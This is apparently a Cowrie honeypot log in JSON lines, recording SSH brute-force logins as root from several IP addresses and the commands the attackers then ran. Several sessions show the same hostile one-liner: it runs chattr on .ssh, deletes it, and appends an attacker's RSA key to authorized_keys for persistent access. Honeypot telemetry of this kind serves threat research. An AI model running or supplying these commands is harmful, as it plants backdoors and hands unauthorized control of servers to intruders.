{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:34:57.939699Z","src_ip":"209.141.53.124","session":"de846b1d936c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:34:58.008134Z","src_ip":"209.141.53.124","session":"de50ff26dd31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:34:58.013059Z","src_ip":"209.141.53.124","session":"de846b1d936c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.49.238.104","src_port":37574,"dst_ip":"10.17.0.5","dst_port":22,"session":"042712a656a1","protocol":"ssh","message":"New connection: 103.49.238.104:37574 (10.17.0.5:22) [session: 042712a656a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:35:21.896380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:35:21.899922Z","src_ip":"103.49.238.104","session":"042712a656a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:35:22.146904Z","src_ip":"103.49.238.104","session":"042712a656a1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Welcome123!@#","message":"login attempt [root/Welcome123!@#] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:35:23.171418Z","src_ip":"103.49.238.104","session":"042712a656a1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:35:23.812373Z","src_ip":"103.49.238.104","session":"042712a656a1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:35:23.816467Z","src_ip":"103.49.238.104","session":"042712a656a1","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:35:23.820912Z","src_ip":"103.49.238.104","session":"042712a656a1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:35:24.072733Z","src_ip":"103.49.238.104","session":"042712a656a1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:35:24.607161Z","src_ip":"103.49.238.104","session":"042712a656a1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:35:24.610303Z","src_ip":"103.49.238.104","session":"042712a656a1","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:35:24.863078Z","src_ip":"103.49.238.104","session":"042712a656a1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:35:24.867142Z","src_ip":"103.49.238.104","session":"042712a656a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.49.238.104","src_port":37590,"dst_ip":"10.17.0.5","dst_port":22,"session":"323cd299b9ac","protocol":"ssh","message":"New connection: 103.49.238.104:37590 (10.17.0.5:22) [session: 323cd299b9ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:35:25.110579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:35:25.115160Z","src_ip":"103.49.238.104","session":"323cd299b9ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:35:25.366172Z","src_ip":"103.49.238.104","session":"323cd299b9ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:35:26.401482Z","src_ip":"103.49.238.104","session":"323cd299b9ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:35:27.655128Z","src_ip":"103.49.238.104","session":"323cd299b9ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.49.238.104","src_port":35454,"dst_ip":"10.17.0.5","dst_port":22,"session":"5645a23fe21c","protocol":"ssh","message":"New connection: 103.49.238.104:35454 (10.17.0.5:22) [session: 5645a23fe21c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:35:27.901921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:35:27.906923Z","src_ip":"103.49.238.104","session":"5645a23fe21c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:35:28.163560Z","src_ip":"103.49.238.104","session":"5645a23fe21c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:35:29.196327Z","src_ip":"103.49.238.104","session":"5645a23fe21c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.6","message":"Connection lost after 7.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:35:29.449658Z","src_ip":"103.49.238.104","session":"042712a656a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:35:29.453437Z","src_ip":"103.49.238.104","session":"5645a23fe21c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"96.250.229.56","src_port":53614,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f7a1753f7c9","protocol":"telnet","message":"New connection: 96.250.229.56:53614 (159.203.135.109:23) [session: 8f7a1753f7c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:36:52.514458Z"}
{"eventid":"cowrie.session.closed","duration":12.617027044296265,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:37:05.131384Z","src_ip":"96.250.229.56","session":"8f7a1753f7c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.11.64.103","src_port":49110,"dst_ip":"10.17.0.5","dst_port":22,"session":"066a6603e39e","protocol":"ssh","message":"New connection: 212.11.64.103:49110 (10.17.0.5:22) [session: 066a6603e39e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:38:56.274867Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:38:56.279094Z","src_ip":"212.11.64.103","session":"066a6603e39e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:38:56.372950Z","src_ip":"212.11.64.103","session":"066a6603e39e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Root12345@","message":"login attempt [root/Root12345@] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:38:56.782378Z","src_ip":"212.11.64.103","session":"066a6603e39e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:38:57.010247Z","src_ip":"212.11.64.103","session":"066a6603e39e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:38:57.013887Z","src_ip":"212.11.64.103","session":"066a6603e39e","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:38:57.017809Z","src_ip":"212.11.64.103","session":"066a6603e39e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:38:57.115541Z","src_ip":"212.11.64.103","session":"066a6603e39e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:38:57.342339Z","src_ip":"212.11.64.103","session":"066a6603e39e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:38:57.345990Z","src_ip":"212.11.64.103","session":"066a6603e39e","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:38:57.445570Z","src_ip":"212.11.64.103","session":"066a6603e39e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:38:57.448955Z","src_ip":"212.11.64.103","session":"066a6603e39e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.11.64.103","src_port":51480,"dst_ip":"10.17.0.5","dst_port":22,"session":"267c5222edf0","protocol":"ssh","message":"New connection: 212.11.64.103:51480 (10.17.0.5:22) [session: 267c5222edf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:38:57.536535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:38:57.541019Z","src_ip":"212.11.64.103","session":"267c5222edf0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:38:57.635103Z","src_ip":"212.11.64.103","session":"267c5222edf0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:38:58.043303Z","src_ip":"212.11.64.103","session":"267c5222edf0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:38:59.140805Z","src_ip":"212.11.64.103","session":"267c5222edf0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.11.64.103","src_port":51494,"dst_ip":"10.17.0.5","dst_port":22,"session":"a2b1ee7e73a1","protocol":"ssh","message":"New connection: 212.11.64.103:51494 (10.17.0.5:22) [session: a2b1ee7e73a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:38:59.217353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:38:59.223426Z","src_ip":"212.11.64.103","session":"a2b1ee7e73a1","protocol":"ssh"}
